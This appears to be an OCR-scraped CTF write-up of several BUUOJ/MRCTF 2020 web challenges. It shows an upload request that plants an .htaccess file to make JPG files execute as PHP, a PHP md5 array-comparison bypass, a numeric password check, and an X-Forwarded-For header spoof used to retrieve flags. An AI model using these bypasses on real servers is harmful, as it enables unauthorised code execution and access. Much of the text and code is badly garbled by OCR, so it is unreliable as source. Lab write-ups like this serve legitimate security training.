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JST fupload.php HTTP/1.1

1st: h29acfc2-511c-4e6d-9809-f6d603e67 757 .node3.buuoj.cn

intent-Length: 330

iche-Control: max-age=0

igin: hitp://b29acfc2-511 c-4eBd-9809-Bd603e67 757 . node3. buuoj.cn

igrade-Insecure-Requests: 1

intent-Type: multipart/form-data; boundary=-—-WebkitF ormBoundaryYnBJCXsq0PzlY gP2
ser-Agent: MozillaS.0 (Windows NT 10.0; WinG4; x64) AppleWebKit/537.36 (KHTWML, like Gecka)
wome/79.0.3945.130 Safarifa37.36

cept

«t/html, application/xhtml+xml,applicationfeml;g=0.9 image/webp image/apng ™ q=0.8, application/s
1ed-exchangev=h3;q=09

sferer hitp:/fh29acfc2-5711c-4e8d-9809-BdE03867 757 . node3. huuoj.cn/

:cept-Encoding: gzip, deflate

:cept-Language: zh-CM zh;q=0.9

rokie: PHPSESSID=24fab9f3832cc9eah002fc 1226 edafah

innection: close

—~-WebKitFormBoundaryVnBJCxXsqOPzIY gP2

intent-Disposition: form-data; name="uploaded"; filename=".htaccess"
intent-Type: image/jpeg

1dType application/x-httpd-php jpg

—~-WebKitFormBoundaryVnBJCXsqOPzIY gP2
intent-Disposition: form-data; name="submit"

OB ##iiR0
—-WebKitFormBoundaryVnBJCXsqOPzlY gP2--

5 _EAEjpg, W &%, url

511c-4e8d-9809-f6d603e67757.node3.buuo

I

HTTR/M .1 200 OK

Serer openresty

Date: Fri, 10 Apr 2020 02:25:35 GMT
Content-Type: text/html

Content-Length: 109

Connection: close

Cache-Cantrol: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Fragma: no-cache

Wary: Accept-Encoding

X-Powerad-By: PHF/S.6.23

<meta charset="utf-8">/var/www/html/upload/170ch926048 a559363653af/ 1ffd6476/.htaccess
succesfully uploaded!

cn/upload/170cb926048a559363653af71ffd6476/1.jpg
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?php
session_start();
echo
if(!isset($_SESSION[ 1)){

$ SESSION[ ] md5((string)time() . (string)rand(100, 10090));

1
J

if(isset($_FILES[ 1)) {
$target path getcwd() . . md5($_SESSION[ 1;
$t _path = $target path . . basename($ FILES] 10 1;
$uploaded name = $ FILES[ 10 1;
$uploaded_ext substr($uploaded name, strrpos($uploaded name, ) + 1);

$uploaded_size = $ FILES] 10 15
$uploaded_tmp $ FILES] 1L 15

if(preg_match( , strtolower($uploaded ext))){
die( )
}
else{
if ((($_FILES[ 1[
) ($_FILES[ 10 ) ($_FILES[
($_FILES[ 1[ ] ) ($_FILES[ 10
$content file_get contents($uploaded_tmp);
mkdir (iconv( , , $target_path), 0777, true);
move_uploaded_file($uploaded_tmp, $t_path);
echo $t path g
)i
else{
die(
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I put something in F12 for you

? include flasz. php’ ;

3 $flaz=" NRCTF (RxxxxxxxxxxxxxxxxxxXXXXXLl

4 if(isset(3_GET[ g2’ 1)8&isset(3_GET[ id 1)) |

5 $ia=3_GET[ id’ 1;

B $22=3_GET[ 22’ 1;

7 if (md5(3id) === mdb(§ze) && 3id '== 3gg) {
8 echo ' Tou got the first step ;

g if(isset (3_POST[ passwd 10)
0 $passwd=3_POST[ passwd’ ];
1 if (Mis_numeric($passwd))

2 {

3 1f (Jpasowd==1234567)

4 {

5 echo ' Good Job!’

B highlight file( flas.php’);
7 die(" By Retr 07);

8 }

9 else

0 {

1 echo “can you think twice??”:
2 }

3 }

4 else|

5 echo “You can not get it 17

}
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h
else|
die( only one way to get the flag' ).

8

9

0

1 }

2|}

3 else |

4 echo “Tou are not a real hacker!”
5 }

6}

7 elsel

die( Please input first’ J;
}

}FPlease input first
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1.md5

(md_5($§'t't'1) === md§($gg) B& $id= == $zg)

A RN BUE AR e M, e RN B EEIETORNE, TR sent, GET gg[j=1&id[=2
2.is numerlcmé“i
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|
'A) © & ecf6cBab-427¢-48b5-8b71-afe183213dfd.node3.buuoj.cn/?g: R e Oy Qomm [

Bvanesss @ @ mixrtis DxmAmn DxAmn D rses O QEEnr @ =8 O O xser O =5em

x | put something in F12 for you include 'flag.php"; $flag="MRCTF{oaoasoaaxaxaaxxxsoaxxxxxxxxx}'; if(isset($_GET['ge
Sid=$ GET['id"]; $gg=9% GET['gg’]; if (md5(Sid) === md5($gg) && $id !== $gg) { echo "You got the first step’;
a sawW) v Spasswd=$% POST[passwd'; if (lis numeric($passwd)) { if($passwd==1234567) { echo 'Good Job!"; highlight fi
Retr 0"; } else { echo "can you think twice??"; } } else{ echo "You can not get it I'; } } else{ die('only one way to ¢
"You are not a real hacker!"; } } else{ die('Please input first"); } }
Warning: md5() expects parameter 1 to be string, array given in /fvar/www/html/index.php on line 48

Warning: md5() expects parameter 1 to be string, array given in fvar/www/html/index.php on line 48

You got the first stepGood Job! <?php
$flag="flag {h22c03b9-55d9-4104-a837-fb48edfbc914}”
?> By Retr 0

o O === gEla DESE NREs (etees Qus Drr B &k 1 TEeHRE @ HackBar
Encryption ~ Encoding~ SQL~ XSS~ Other ~
s Load URL hitp://ecf6c8ab-427e-48b5-8b7 1-afe183213dfd.node3.buuoj.cn/?gg[]=1&id[]=2
il split URL

»  Execute .
Postdata [] Referer [] User Agent [] Cookies Clear All

passwd=1234567io0
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function enc(code) {
hash = hex md5(code) ;
return hash;

}

function validate() {
var code = document. getElementByvId(“veode™). value;
if (code '= ")
iflhex md5(code) == “Dodddal?22c0b2208290c2eadbE8d6E5c") |
alert (“HRIEE T 8BAE! ),

window. location = . /flaz. php”

Yelse
alert ({REVEDNRDA EMR ),
Yelse

} alart (LA BN
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X-Forwarded-For:127.0.0.1

Request

Raw | Headers | Hex

Response

Raw | Headers | Hex HTMLIRender]

ET Mlag.php HTTR/ 1

ost: node3. buuoj.cn:29952

ache-Control: max-age=0

pgrade-Insecure-Requests: 1

ser-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64) AppleWebKit/537.36 (KHTML, like Gecka)
hrome/79.0.3945.130 Safarifa37.36

ccept:

xt/html application/xhtml+xml application/xml; q=0.9 image/webp image/apng,**,q=0.8 application/s
ned-exchange;v=h3;q=0.9

ccept-Encoding: gzip, deflate

ccept-Language: zh-CM,zh; g=0.9

onnection: close

Forwarded-For:127.0.0.1

e

HTTR/M.1 200 OK

Date: Fri, 10 Apr 2020 03:27:14 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.2.25

Vary: Accept-Encaoding

Content-Length: 243

Connection: close

Content-Type: text/html; charset=UTF-8

<html=
<head=
<meta charset="utf-8">
<fhead=
<body=
<img sre="./img/2.jpg" width="300" height="300" />
<p=£]! fRifflag @ik, WHERER </p=<p
style="colorwhite">flag{1ch6e525 6eh9-44 c6 -h54f-cdaTf/ d464 eb}</p=</body>
</html=
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